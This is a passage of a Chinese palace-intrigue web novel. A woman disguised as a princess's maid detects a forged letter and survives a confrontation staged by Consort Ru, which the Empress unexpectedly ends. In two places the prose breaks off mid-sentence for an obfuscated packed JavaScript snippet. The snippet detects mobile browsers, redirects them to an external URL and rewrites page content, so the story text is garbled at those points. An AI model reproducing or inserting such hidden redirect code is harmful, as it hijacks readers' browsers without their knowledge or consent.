“其实义妹,”郡主侧侧头,“我有些想不通的是,静太妃临终声称,她走进朱雀宫正殿,见殿中唯有琳妃。这真是奇怪,一宫主位光近身侍奉的下人就有四名,更别提外围的丫鬟太监。静太妃杀琳妃的时候,她宫中为什么没有旁人?” 是,这确实是个问题。 谢宁轩之前已经查证过,高岭之变前夕,朱雀宫有宫人十二名,除了冰清外,还有两个一等丫鬟,三个二等丫鬟,六个太监。动乱当夜,有三人去内廷司取东西,跟着大部队及时逃走了。 其余下人在之后的记录中没有详细记载,这主要源于动乱之夜宫中死伤无数,之后一月封宫,废后风声鹤唳情绪极端,动辄杀罚宫人,在即将病败时,更是处死了无数人为自己陪葬。以致动乱平息后,先帝带人回到宫城时,看到的是尸山血海、惨不忍睹。 朱雀宫的下人,也是埋葬在这深宫中的连名字都未曾留下的无数蝼蚁之一。 即便如此,这座皇宫内,依然有人活了下来。朱雀宫人,按照之后残存的记载,应该生还了四个人。 这一点很关键。琳妃死亡当晚,朱雀宫到底发生了什么事,为什么当日静嫔进殿,没有丫鬟作陪,冰清跟着先帝去了皇子居所后,是否还有人到过朱雀宫,恐怕天下唯有这四个人清楚知道了。 可惜之后一段时间,记载是混乱的。这四个人被安排去了什么地方,未曾清晰记录。谢宁轩和三殿下追查许久,才在外放出宫的宫人记录中找到两人,然而二十年过去,早已不在人世。 还有两人始终下落成谜,有线索指向,他们一直未曾出宫。 顺着这个迟迟未解开的疑虑,我们索性下午又去了内廷司,这次目标不是起居注了。 大小管事都为了春分典礼忙的不可开交,郡主得以随便寻个借口,就带着我溜进了档案室,翻查起历年宫人遣派记录、晋升名单。 然而忙活了一下午,吃灰吃了一肚子,成果寥寥。我和郡主沮丧的回到慈宁宫,郡主推门就要抱怨,下一秒,却被地上的一封信止住了话头。 “真是倒霉,这一天天的,真够……咦,怎么有封信?”郡主捡起一看,封面上没有字迹。 “有人进过咱们屋子?”我狐疑问,“岚枫来了?” “不会。若是岚枫,必会等我回来,外面的丫鬟太监也不会只字不提,又不是不认识。” 对呀,这可是慈宁宫内,任何人进我们屋子,外面的丫鬟也会提示的呀。 郡主已经打开了信封,展信一瞧,松口气道:“嗨,是宁轩哥的信。” “谢宁轩的?”我诧异了,忙接过来细看,“嗯,是他的字。但这内容——” “阳远展信佳: 蓬篙居士过去多数话本不甚叫座,不知者众。正撰写新话本,拟云姐妹花之故事。成书后,交由你手。 府中一切都好,勿念。 宁轩” 郡主瞥一眼,托腮懒懒道:“怎么又说蓬篙居士?你俩也真是的,都什么时候了,净说些不打紧的闲话。今天这封倒是短了些。咦,义妹,您怎么了,怎么不说话?” 汗流浃背,郡主的话犹如一阵风,全没灌入我的耳中。 满身满心,只剩下恐惧二字。 犹如森森浓雾,我处在其中,恐惧化作看不见的僵手,自头皮缓而沉重的抓下。这是寂静岭,我似乎处在寂静岭中——这不是谢宁轩的回信。 我按住胸口,粉镯在衣襟里晃荡。 是谢宁轩的字。我信中问蓬蒿居士最新的话本内容,这封回信也是恰恰好的回答。 但这错了。 身体被轻微的摇晃,有人正紧紧捏着我的胳膊,迫我从海浪尖的扁舟逃下。 “义妹,义妹!你怎么了!脸色怎么突然这么白?” 眼前重影缓慢的、一点一点的清晰,意识自混乱茫然,到逐渐回归本身,我已汗湿后背的衣衫。 “姐姐,现在,可还能出宫?”我一字一顿的问,听到自己的声音,遥远、暗哑。 郡主一呆:“出宫?这个点儿?宫门已经下钥,出不去了呀!” 眼帘阖上,从未有过的绝望之弥漫。 “怎么了,义妹,到底怎么了!这不是、不是宁轩哥的回信吗?是他的字啊!” “就因为是他的字,才不对。”我用力的说,尽管语气还是那么软弱。“姐姐,劳你现在出去问一下,下午的时候,茹贵人是不是来过?” “茹贵人?”郡主一愣,但见我面色凝重,还是挑了帘子出去。 片刻后,她回来点了点头:“是,丫鬟说她 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因为去岁二月初三,是我们第一次见面的日子。 “姐姐,你回忆我们之间的信件,明白了吗?” 郡主眼睛向上看,念叨起她最为诧异,那封让她送去太岁的信件。 “‘以太岁入药痊愈’……‘国子监枫树下祷告百日’……啊,这不是说……” “没错,连起来其实是:去见太医院守门老太监,他处有线索。还有那封说蓬篙居士话本是否杜撰宫庭隐秘的来信,实际内容也与面上不同。信中最后,谢宁轩还问我,为何要查孟秋帆,是否代表宫中有危险。” 郡主眼睛圆瞪,双手击掌:“啊,还真是!妙啊,简单有效,而且外人不清楚你们约定好的数字,无论如何也发现不了秘密呐!” 我没有因郡主的夸赞感到自得,心中唯有沉重。 “你再看这封,”我将信递给郡主,“这能是他给我的回信吗?” 郡主低头快速读出,旋即身子一震:“……这、这,天哪,虽然一字一句是对你上封信的回答,但的确没有暗号!天哪,义、义妹,这、这说明什么?你的信、信被截留了?” 大脑已逐渐恢复理智,我思索着说:“恐怕不是我的去信被截留,而是有人凭空造出这封信来,试图让我安心。” 郡主的丫鬟岚枫,是我们刻意留在宫外、便于在宫内行走的人。谢宁轩若有回信,一般都让她来送。毕竟郡主过去在宫中小住,谢宁轩或三殿下,几乎都没有来看过她,今次也得如常,否则必会引起太后怀疑。 也即,这封回信丢在我们房中,未曾由岚枫送来,这本来就是不合理的。 但岚枫离宫是昨日的事,她在宫外由邓科接应,她若有所不测,御青王府立即就会知道。而从今日风平浪静来看,我的信,已平稳的交到了谢宁轩的手中。 他去调查了,所以今时没有回信。 那为什么屋中丢着一封?岚枫可没来啊! 但茹贵人来了。 在宫门下钥后,屋中突然出现一封谢宁轩的信。如果我没有和他约定什么暗号,如果我们没有说好往来必由岚枫经手,那么,我收到这样一封信,是不是该安心? 郡主还是没听明白,眉头更深:“安心,为什么安心?安什么心?” 156.未央宫 “明天就是春分大典,太后将闭关两日为国祈福,届时重重守卫,不得叨扰。而圣上携太子亲临天坛主持仪典,也不在京中,羽林军大将宋璃依旧得亲自率军护送,对不对?” “对。” “往年义兄都陪着,今年或也如此?” “这……或许吧,哥哥没有特别提及,我还真不知道他去不去。” 我咬咬牙:“好,就算义兄在,谢宁轩作为刑部左侍郎,大抵也会在京中衙门,不会离京。但今天宫内下钥后,明早直接就是典礼,再无出宫的机会了,是不是?” 郡主揪住帕子,咬唇道:“是。春分大典前后,一向守卫森严,不允许出入后宫。明日我还得穿着冠服,一道跪拜在后宫妃嫔公主之间。” 我阴沉着点头:“那就是了。这千载难逢的时机,宫内外隔断。此时,如茹贵人突然发难,指出我的身份,即便她不知我的来意,仅凭我化名藏匿宫中,并翻看宫廷档案这一条,姐姐,我问你,这够不够定罪?” “这……” “届时太后、圣上、太子都不在,你即便护着我,茹贵人以宫规条条相迫,师出有名,你又能作何?孟秋帆作为羽林军,甚至无需买通队友,只消按照律法,便可正大光明拿下我。这森森内宫,消息一旦阻截,谢宁轩、三殿下,又如何知晓,如何能来救我?” 郡主听得目瞪口呆:“茹、茹贵人……孟秋帆……天哪,他们联手,这是要共同对付你……对付宁轩哥?” 没错,他们联手了。 当我发现跟踪我们的人可能是茹贵人身边的太监后,就有了这个怀疑。 茹贵人恨我恨谢宁轩的理由无需多说,是我们揭露了李怀远的罪行。但她应该没见过我,缘何在我入宫第一日,就能派人跟踪我?只可能是,孟秋帆认出来了。 宫中行走,孟秋帆不便,茹贵人身边的人,可就方便多了。 他们一定搞不清我进宫的目的,所以一开始只跟踪,不敢贸然告发。但随着春分典礼,他们发现这是一个很好的隔离宫内外联系的时机,那么,趁着这个时机拿下我,再用我来要挟谢宁轩,或者直接扣死我的罪名,以图伤害谢宁轩,都是可以实现的。 在他们的视角,这还是个受害者联盟了?李怀远之妹,孟秋堂之兄……呵。 “可他们,他们怎么能模仿宁轩哥的字迹?”郡主惊问,却在话音落下之时,倒吸口气,跺了跺脚。 是啊,这有何难? 谢宁轩为官身,有公文与孟太尉往来,稀松平常。拿他几封旧信,找来个善模仿他人字迹的能人巧匠,杜撰一封,也非难事。 这也是今时这封信,这么短的缘故。写太长,怕没有那么多公文底稿作为模仿对象。 另则,偷看信的人,估计也对我们之间莫名其妙谈论蓬篙居士的对话深深不解,所以回复也含糊其辞,就是怕我看出端倪。 谢宁轩身边人,竟有奸细,他可知道? 而这个时点造出封信来,明显是想在大典前夕稳住我。所以即便深知这段时间不该来慈宁宫,茹贵人还是冒险来了,并趁屋中无人,偷偷递来。就是怕我和郡主突然改变主意,在宫门下钥前出宫,那他们的谋划就落空了。 偏我和郡主又在内廷司消耗了一下午时间,白白浪费了最后离宫的机会。 这封信于他们,多余给了。 若是他们知道,就是这封自作聪明的信让我洞穿了危机,更是要后悔了。 可就算我现在想通了,也晚了。我该怎么自救? 郡主也忐忑不安的走来走去,忽地想到一招:“咱们去未央宫躲着,贵妃可以庇护我们!茹贵人毕竟只是小小贵人!” 我寒声道:“只怕茹贵人身后,站着皇后呢。你别忘了,这次事端就是由陈尧昇的奏本挑起的,皇后的好侄儿。” “皇后解释陈家不知情啊!太后给我说了!” “陈家、皇后,或许事先是不知情,面对太后,也极力讨好,不想让太后不悦。但这是两码事。弹劾谢宁轩,打的是皇家的脸,伤的是太后为人祖母的心,太后自然不高兴。可我,在太后看来,或许正是不尊妇道、害孙子被弹劾的罪魁祸首。我被处置了,太后有什么在意的?明面上,是一个假冒丫鬟混入宫的大胆刁民,暗地里,我还在查她反对调查的案子呢!” 郡主彻底慌了,眼泪都急出来了。“那怎么办啊,义妹,怎么办啊!现在宫门都下钥了,你也逃不出去了!要不、要不明日在典礼上,我想办法把你送到前朝那片儿,让你和宁轩哥或者哥哥见到面?” “不可。”我摇摇头,“大典中乱了规矩,我只会死的更快。” “那、那……要不,要不寻求太后庇护?表明身份算了,就说我带义妹进宫见识见识?” “更不能,这借口太后一个字都不会信。这种情况下,更不能让太后知道。” “那,那怎么办啊!” 我捏了捏粉镯,握拳,把心一横:“别慌,尚未到山穷水尽处。走,咱们现在就去见一个人,扭转事态,寻一线生机,就靠她了。” *** 二月十六日,春分大典。 作为祈求风调雨顺、国势昌顺的大日子,典礼之隆重,不消多说。 一向卯时晨起的丫鬟,今日都是寅正时分就起来了,忙忙碌碌。郡主担忧我的安危,也于一大早就去宫门瞧,果然戒备森严,宫门紧闭。 昨日斡旋尚且不知结果,我胆战心惊,哪有心情欣赏国之重礼。陪伴郡主浑浑噩噩走完仪式,于午时目送太后进了大佛堂,便按照计划去了未央宫。 贵妃刚换下冠服,正歪在美人榻上小憩。听到通报,她微微直起腰来,娇媚栩栩,透着上位者的慵懒气质,和沁人心脾的美感。 论容貌,宫妃之中,贵妃数一数二,力压皇后。较之茹妃,也不过稍逊几许年轻青春。 “阳远来了?”贵妃声线温柔,语气也很熟捻。 “是啊娘娘,这两日,阳远就在未央宫中赖赖呗。”郡主笑着上前。 “这话就生分了,想住多久住多久。本宫新裁了身云锦坎肩,瞧来瞧去还是衬你肤色,正打算叫人送去给你呢。” 郡主也不客气,笑道:“那是阳远来得巧了。对了娘娘,阳远今个儿来,还有件事想请教娘娘呢。” “请教本宫?”贵妃有些惊异,旋又打趣,“本宫一不善马球,二不善投壶,能有什么值得你阳远请教的?” “娘娘说笑啦,阳远是想着几年前宫中修缮,是娘娘主持的,想讨个舆图瞧瞧,学学经验呢。” “怎么想起学这个?怎么,你们御青王府也要修缮了?” 郡主托腮,故意抱怨:“还不得怪哥哥!请钦天监卜大婚吉日就是,还多余算了算府内风水,可又说假山小湖方位有碍,大婚后还得修缮。他呀,自己个儿没时间操持,倒叫我来讨经验,娘娘您说,哥哥是不是惯会支使人?” 贵妃抿嘴轻笑:“三殿下这是有意锻炼你呢,来日出嫁去做一府主母,这些玩意,不得手拿把掐呐。先在自己家中练练手,也好的嘛。” 郡主撅撅嘴:“娘娘就偏心哥哥吧,太后也偏心他,哼。” “好啦好啦,取份舆图给你不就行了?来人……” “娘娘,要不还是让阳远自己去找吧。我倒要看看宫中修缮的技巧,多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515864|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌握些,来日得把哥哥比下去,省的他天天指手画脚批评我!” 贵妃闻言轻哂:“好好好,要什么就去找丫鬟要,都在库房锁着呢。本宫可先告诉你,资料不少呢,一会儿可别喊叫累。来,先吃碗燕窝再去。” 说着,一旁的丫鬟呈上两碗血燕,用银针验过后,方递上勺子。 我站在身后深吸了口气,努力让自己平静些。 今天来这未央宫,是我和郡主之前就约好的。以脚步丈量各宫方位与道路方向后,我大致搞清了二十八年前各个当事人宫殿的距离。但静嫔言称“顺路”一说,还是令我有些不解。 从她的供述让圣上认为说得通、完全可能作案来看,她对案发当晚的行踪交代,是符合当年的宫殿方位的。但起居注云静嫔下榻的“长乐宫”,今天来看,是在未央宫的东边,与珍妃居所呈反方向。 也即,静嫔离开珍妃居所回自己宫殿,而顺路去了趟朱雀宫,是说不通的。 今天的长乐宫一砖一瓦都是新的,郡主也说,长乐宫这些年频繁修缮过。那么,是不是当年这座宫殿不叫长乐宫,静嫔住的“长乐宫”是西六宫某座宫殿,契合“顺路”一说。只因西六宫多毁于当年的政变,静嫔回来后才住到了东边,顺势改成了旧日名字? 这本是很简单的一件事,但凡找个上了年纪的宫人,或者简单翻翻修缮记录就能确认。可惜调查要背着太后,使得简单的事儿都复杂化,白白增加难度。 好在,郡主提示我,几年前宫中修缮,是由贵妃主持的。她这里应该有往年的宫廷舆图,找来一观便是。 这些资料应该锁在库房,寻常拜访提及,贵妃大概率会差人找出来最新的年份以供郡主学习“经验”,于我们而言反而白费心机。所以我和郡主早就商量,要趁着春分住到未央宫来,料贵妃就会任郡主自己去翻阅了。 现在贵妃的反应,也和我们估摸的一样。可惜此刻的心情,较当时商量,烦闷多了。 查案,还是要查的。在担忧的危机未发生之前,还是得尽快尽多的掌握线索,以图查清真相早点离开。 于是乎,燕窝下肚后,郡主便带着我来到库房,翻阅起内宫舆图。我料的没错,这里果然有之前的众多舆图,都是为贵妃修缮作为参考的,正好便宜了我们。 舆图繁多,不少宫殿连院中尺寸也标了进去,都能算出未央宫的面积大小、东西侧殿与后院之间的距离等,还是很详实的。 “算这干什么!快找二十八年前的呀!”郡主悄声催我。 我点点头,放下圣上登基后的舆图,专心翻起泛黄的纸页。 这一翻找,也就耗费了一下午的时间,在我们刚刚有些眉目的时候,贵妃刚好差人来传,让郡主别累着,快去吃晚饭。 我趁着郡主和丫鬟说话的时间,读完了手上最后一页舆图,长长松了口气。郡主听到了我松弛的呼吸声,也便顺梯而下,结束了今日的查访。 接下来,便是晚饭。 郡主和贵妃说说笑笑,时不时瞥我一眼,眼神中透着疑问。我则恭敬地立在一旁,心里盘算着,明天宫禁就开了,若有谋划,必在今晚。 怎么还不来,怎么还不来? “贵妃娘娘,”有丫鬟恰在此时敲门,禀告曰,“茹贵人拜见。” 来了。 “茹贵人?”贵妃眉头蹙起,“她来做什么?本宫和她又没交情。” 说着,她看了眼郡主,大抵是想起李家做下的丑事,更不愿见了。“什么事让她说清,打发走吧,本宫可没功夫见她。” 丫鬟却低声道:“茹贵人说,皇后稍后就到。说咱们宫中,正藏着个欺君之徒。” 157.对峙 暮色沉沉,未央宫中灯火通亮。丫鬟掀开帘子,茹贵人曼步踏入,盈盈楚楚。 “嫔妾拜见贵妃娘娘,娘娘金安。” “茹贵人这是唱哪出戏?都闹到我宫里了。”贵妃坐在正殿上首,并不叫起,只是端详着自己葱白的手指。 茹贵人自己起了身,道:“扰了娘娘清净,是嫔妾的不是。主要是宫中藏着宵小,嫔妾怕污了娘娘宝地,特来协助娘娘擒拿。” 贵妃轻哂:“茹贵人这话,本宫是越发不明白了。到底怎么回事,别卖关子,赶紧说。本宫稍后还要和阳远下棋呢。” 语毕,坐在侧室的郡主也放下了筷子。咽下最后一块小酥肉,她朝我点了点头,眼神坚毅、从容。 到底是宫闱中长大的小女孩,这些戏码,还不是见得多了。何况,我们也早有准备。 郡主先是发出一声做作的笑声,玲珑清透。“贵妃娘娘呐,看来今晚的棋局是没气氛了。真是晦气,什么东西都往你这未央宫凑。” 说着,她绕过了屏风,带着不可名状的笑容,朝贵妃下方的椅子上懒懒坐下。 一席话掷地有声,唬得贵妃一时无言,瞪圆了凤眼看向我。 我跟在身后,垂头恭立。然而头顶燃着一道视线,我很快就感觉到了。 茹贵人也没再绕圈子,她先是向郡主行礼,得不到任何回应也未感尴尬,一股脑道:“郡主因着旧事,对我李氏女的身份始终介意,嫔妾明白。本不该到郡主面前碍眼,实在是宫规森严,不得不前来劝谏。” 说着,她也不等郡主说话,直接将矛头对准我,“贵妃娘娘请看,郡主身后这个自称‘阿羽’的丫鬟,就是嫔妾说的宵小。她实际是京城府衙仵作之女王羽书。谢侍郎被蛊惑,准外人出入刑案现场的,就是这个女子!” 郡主也扭头,诧异的盯着我,说:“阿羽,这、这说的是你?” 我惊慌的后退两步,旋即噗通一声跪到地上,颤声道:“奴、奴婢不知,贵人、贵人是、是说奴婢吗?” 贵妃一瞧我这反应,眉头蹙起:“茹贵人,你可认准了?这不就是伺候阳远的一丫鬟嘛。” “是啊,我怎么不知道,阿羽还有这等身份?”郡主斜倚在椅子上,露出好笑的样子,“出入刑案现场?嘿,阿羽,你还有这本事呢?” “奴婢、奴婢冤枉啊。”我伏在地上,大声喊冤。 没错。我的策略就是,装傻到底。 昨日我就料到,此次发难必从我的身份入手。毕竟我假冒丫鬟混迹宫中,乃大罪一条。设局,必然得围绕这一点,再把弹劾内容颠倒黑白,锅扔到我身上,方可治死。 你看,刚才茹贵人是不是就用了“蛊惑”二字? 只是,这年头没有指纹没有DNA,否认一个身份,也很简单。我就不承认,又待如何? 茹贵人显然也有对策,她轻哼一声,道:“贵妃娘娘,嫔妾知道空口白牙,自不能指证任何人。嫔妾处,可是有人证的。来人,把六梅带上来。” 六梅? 竟然找来了六梅?呵,真够费心机的。 六梅是林虹玉的丫鬟,还记得吗?那个备受宠爱的嫡长小姐,林霜玉的姐姐,死在绣花大赛会场、无辜被杀的林虹玉。六梅,便是她的贴身丫鬟。 林虹玉去后,三殿下便向林府表明了态度,并很快借剿匪之功获得恩典赐婚林霜玉。此后,林府将所有资源、心意、爱护都给了林霜玉,谁让她成了府中唯一嫡小姐,未来的御青王妃呢? 御青王府上下,为主子得偿所愿而高兴。林府众人,也见风使舵,认清了形势。 在一片歌颂声中,谁还记得原来林府中,另有一个心高气傲、娇滴滴的小姐?原本的近身丫鬟六梅,也沦为林府外围侍奉的下等丫鬟。从今日朴素、裤腿甚至有补丁的装束来看,她在林府,过的不怎么样。 也难为茹贵人,竟能想到她是整个案件中,为数不多会站到我们对立面的人了。 “是你?”郡主也认了出来,脸色一沉。 六梅匍匐在地上,颤抖着行了礼。茹贵人便问:“六梅,你瞧郡主身侧跪着的那个丫鬟,可就是当日在绣花大赛赛场,指着你鼻子逼问之人?” 六梅朝我匆匆一瞥,又吓得缩回脑袋,只敢点头。 “当日在李府,罪人李怀远便向嫔妾禀告过,有个女子不知廉耻的跟在谢府丞身后,参与查案、左右侦察。此女还号称发现重要线索,赶在谢府丞之前抓到凶手,救下郡主。贵妃娘娘,您说可笑不可笑,天下谁人不知,谢府丞之聪明绝顶、慧眼如珠,怎得由着个毛丫头抢在他之前堪破命案玄机?可不是此女巧言令色、蛊惑引诱了谢府丞吗?” 郡主搭在椅子上松弛的手臂慢慢变紧,她被这颠倒是非、更隐约透着查错了案抓错了人的说辞激怒了。 我只得悄然挪了挪腿,不动声色的碰了碰她的脚腕。 早知茹贵人会如此。依计行事,莫乱了马脚啊郡主! 贵妃只听说过弹劾,并不了解前情后续,此番还有些动摇。她先是朝郡主问:“阳远啊,那桩案子是这样的吗?真有个女子参与查案了?” 郡主深呼吸,已经稳住了心绪,闻言笑道:“是阳远的义妹,不错。娘娘不知道吗?罪人李怀远之前差点被噎死,是我义妹仗义施救,才救了他一条小命。他出于感恩,亲自邀我义妹去观赛,齐王府二公子也在场。” “哦?竟有此事?” “义妹被安排与林二小姐同一个院落下榻,闻得她姐姐去世,以同住之礼,聊表关怀。恰逢罪人李怀远偷窃林二小姐簪子,试图嫁祸后者,被义妹目睹。告发至宁轩哥处,又有何错?宁轩哥身为男子,不方便闯进本郡主的闺房,请义妹代劳,恰恰救下本郡主。本郡主感激,更与义妹性情相投,方结拜。” 郡主傲然淡定的语气,落在贵妃耳中,自然是信了。后者旋即道:“听起来,这女子也不算刻意跟着宁轩,参与到府衙探案中。说其坏了规矩,或是夸张了吧?” 茹贵人浅笑:“这么说,郡主是认为王羽书行为并无不妥了?那她化名扮作丫鬟藏于宫中,又该作何解释?” 这个问题也在我们预料之内。郡主便故作惊讶,朝茹贵人瞥一眼,又指向我,嘲讽的笑:“呵,你说她呀?看清楚,这是我的丫鬟阿羽,可不是我那义妹。嘶,阿羽,她这么一说,我瞧着你,和义妹还真有几分相像呐。” “奴婢不敢肖像二小姐,郡主打趣了。”我恭敬回复。 “嗨,认错了呀。”贵妃端起茶杯吟了一口,“茹贵人,这人有相似,你叫来的这什么丫头,许是看错了。” 茹贵人显然也料到我们不可能轻松承认,只笑道:“被她盘问过案件的丫鬟说的话,列位不信?那这个证人呢?” 她拍了拍手,门外又弯腰进来个女子,瞧年岁不轻了。我偷瞄了好几眼,也没认出是谁。 直到她跪到地上开了腔,我耳朵一跳,方从熟悉的声音中辨认出来。这是江瑟楼门口揽客那老鸨啊?好家伙,没化妆,判若两人呐。 老鸨一看就见过大世面,较之六梅的紧张,上来就如竹筒倒豆子,巴拉巴拉讲了许多。从我们在江瑟楼门口就被她看穿女子身份,到我特意点了服侍过谢宁轩的姑娘,林林总总,添油加醋。 贵妃脸色都变了,压低声音问郡主:“怎么回事,你真去江瑟楼了?这般胡闹!女儿家家,怎得好往那里去!” 郡主扁扁嘴:“哎呀娘娘,阳远知道错了嘛。这事儿,太后和圣上都训过阳远了嘛。” 贵妃一听都训过了,便也不好再说什么,冷声又问茹贵人:“事情过去就不要提了。此女啰嗦半天,到底想说什么?” “就她,”茹贵人指向我,“当时假称郡主名头留在江瑟楼内, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529115|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事后又与上届状元周达尹私下会面,随后周达尹就落水身亡。贵妃娘娘,江瑟楼爆炸案之轰动,您不可能没听说吧?这案子从头到尾,三殿下和谢侍郎都在楼外协调,唯她,与那隐藏颇深的周达尹厮混在一起。周达尹是承认了罪名,可不是向谢侍郎承认的呀。娘娘细思,此女难道能与案件脱得了关系?” 周达尹落水、与我单独会面,这她竟然也知道。 “这……”贵妃迟疑。 郡主嗤了一声:“呵,有些意思。你这话是影射我义妹是当日江瑟楼爆炸案的凶手了?照你这般推论,那日玩心上来,硬要去青楼一游的本郡主,也有嫌疑了?你是不是还想说,周达尹蒙冤,是本郡主嫁祸得了?” 茹贵人被呛声,只得咬牙:“嫔妾不敢,嫔妾不是这个意思。” “哼,你听好了,不管你怎么花言巧语歪曲事实,我义妹再次救下我的性命,是不争的;想方设法传信出来,令哥哥早对楼中火药进行部署防备,也是实情。至于她和同于江瑟楼中大难不死的周达尹饮茶,后者伤势未愈失足跌下南于湖,本郡主反正看不出来,这和查案有什么关系。再者,周达尹的犯案嫌疑,是宁轩哥于现场、周府、土匪证供中推出来的,圣上还传周老尚书面圣询问过呢,这又和义妹有什么关系?” 郡主按照昨晚我们的演练,说的头头是道。明明依靠着椅背,说的慢条斯理,并不咄咄。但无端端,就是带着上位者的压迫感,吓得跪在地上的老鸨和六梅越发紧张,动都不敢动。 茹贵人还要说些什么,郡主拂袖站了起来,冷声道:“茹贵人,我敬你是圣上爱妃,纵使李怀远拿着白绫把我脖子勒紫,也没要求圣上灭你李氏一门,也是我朝一贯轻刑慎杀,爱民如子的体现。你可倒好,一点不承情,还暗戳戳恨着我们呢?呵,今个儿搜罗这几个东西,就来攀咬本郡主?口口声声指责我的义妹?茹贵人,我看你今天来,是要打本郡主的脸吧?” 我自认识郡主以来,她有小女儿旖旎之态、娇惯大小姐脾气之举,更多的,是爱笑爱说的干练性情,相处中时常令人忽略了她高高在上的宗室地位。 此时,她遥遥立在上首,面寒如冰、气势如虹,周身散发着凌厉的气场,让人不敢直视。真不愧是三殿下的妹妹。 贵妃一瞧郡主动怒了,忙也附和道:“行了,茹贵人,带着这几个小丑下去吧。那折子不还没有处理吗?弹劾什么的,还是等圣裁吧。你我内宫妇人,莫要干预前朝政务。” “娘娘!”茹贵人急了,“这可不是弹劾一事!嫔妾今日来告发的,是这女子居心不良,扮作丫鬟藏匿于宫中欲行不轨!” 郡主冷哼:“好一个欲行不轨!茹贵人,你指鹿为马,硬要说本郡主的丫鬟伪造身份,这是想暗示本郡主知情,本郡主包庇,本郡主要在宫中行不轨之事了?怎么,下一步是不是得抓了本郡主严刑审问了!” “好了好了,阳远,莫生气了。”贵妃亦剜一眼茹贵人,“行了,你下去吧,本宫听来听去,也没听到什么证据,能确定这丫鬟就是弹劾奏折中的那女子。日后莫要再提了,没得叫人笑话。” “两个人证皆认出此女便是……” “不过是人有相似,能算什么证据?”贵妃反问。 茹贵人语塞,暗咬银牙。但她的眼中,依旧洋溢着成竹在胸的色彩。她瞥一眼殿外,那步伐轻盈的太监,正弓腰守在院中。 我知道,她还有王牌没有使用。 “嫔妾还有第三名人证。” “还有什么人?”贵妃有些不耐烦了。 “此人不同于这二女子,而是和王羽书打过交道,实实在在了解她参与查案全过程的人,对王羽书的声音、长相极为熟悉。娘娘,此人……” 我狠狠揪住裙角,紧张的喉头酸涩。 然茹贵人话没说完,未央宫外响起了太监的唱词:“皇后娘娘驾到!” 158.皇后 茹贵人的面上飘来一许胜券在握的欣喜,忙不迭起身相迎。 皇后驾到,郡主、贵妃自也要出殿相迎。我跟在郡主身后,继续扮演战战兢兢、胆小怕事的小丫鬟。 皇后今日着一袭淡蓝裙衫,消弭了后位仪仗带来的压迫气势,整个人显得温婉柔和。唯面色,依旧是清冷的。 院中,皇后未发一言,走至正殿中落座,才轻启朱唇:“都起来吧。” 众人闻声起立,贵妃上前问:“皇后娘娘怎么这个时辰来了?可有什么事吗?” “途径未央宫,进来坐坐。好生热闹,阳远在啊,怎么茹贵人也来了?” 茹贵人挑了挑眉,似有些惊诧,迟疑片刻后还是上前禀告道:“嫔妾在贵妃娘娘处发现一个潜藏在宫中的宵小,正欲揪出。皇后娘娘,您处,也该有个……” 她放慢语气,故意没说完。 余音很明显,皇后,到你了,拿出你准备好的人证来呀。 皇后颔首,果然挥了挥手。就见两个太监自殿外进来,在众目睽睽下,忽然出手按住了地上跪着的两个证人。 “茹贵人,你闹了一晚,闹够了没有?” 皇后突然的调转枪头,令茹贵人大吃一惊。她倒退两步,面色一白:“皇后,你怎么……” 皇后身边站了位中年女子,看扮相是掌事姑姑。当即皱了眉,肃然道:“贵人言辞,请注意分寸。” 茹贵人紧紧捏住帕子,咽了口口水,努力挤出笑容:“娘娘,您是不是忘了什么事?嫔妾今日请您来,是共同……” “夜深了,”皇后径直打断,“茹贵人,你该回去歇着了。来人……” “皇后娘娘!您别忘了今日的大事!” “茹贵人这说什么呢?”贵妃不知什么时候也坐了下来,正左右瞧着皇后与茹贵人,露出一丝微妙的笑容,“什么大事,需得你提示皇后娘娘?” 殿中无人理会她,只见外间走来两个丫鬟,已经左右挽住了茹贵人的胳膊。后者的贴身丫鬟,一开始就没有跟进殿中,此刻,她与那个会功夫的太监,都被皇后乌压压的依仗队伍遮盖住了,不知带到了何处。 而本应出现在皇后依仗中的某个小镇子的捕头证人,也不见踪影。 茹贵人终于意识到联盟出了问题,她大声呼着:“皇后!你答应了什么!孟……唔!” 她的嘴被丫鬟捂住了。皇后身边的姑姑厉声喝道:“带下去!贵人李氏冲撞皇后,着于储秀宫中禁闭,令主位芳嫔好生教导!” “皇%,你¥%#*&……” 茹贵人挣扎着被拉了下去,殿内倏地鸦雀无声。 贵妃眯了眯眼,目光落在皇后面上,带着探究。皇后则直视前方,没再理会任何人,她缓缓起身后,仅仅说了句意义不明的“言不信者行不果”,竟就这么施施然走了。 “恭送皇后娘娘。”贵妃起身行礼,目送皇后登上骄辇,大批下人陆续出了未央宫,方扭头看向郡主,发出了深深的疑问:“阳远,这究竟怎么回事?” *** 事情还要从昨晚说起。 当我意识到自己已如笼中鸟被关在宫中,就知茹贵人必将于今日,这唯一不开宫禁的日子行事。 春分典礼后宫部分以太后进入大佛堂为礼成,宫妃下午就可回去歇着了。前朝却不然,还得走完下午的仪式,才算结束,众卿才会出宫城。 也即,对我的围猎,大概率就在晚上开启。 我猜的没错,茹贵人的确在晚膳时分赶来。 而郡主建议躲到未央宫,以贵妃位阶压制茹贵人。她能想到,茹贵人之流想不到吗?她们敢在后宫搞这一出,就必然确保能一击就中。否则明日宫禁一开,三殿下进宫来瞧郡主,岂不一切落空? 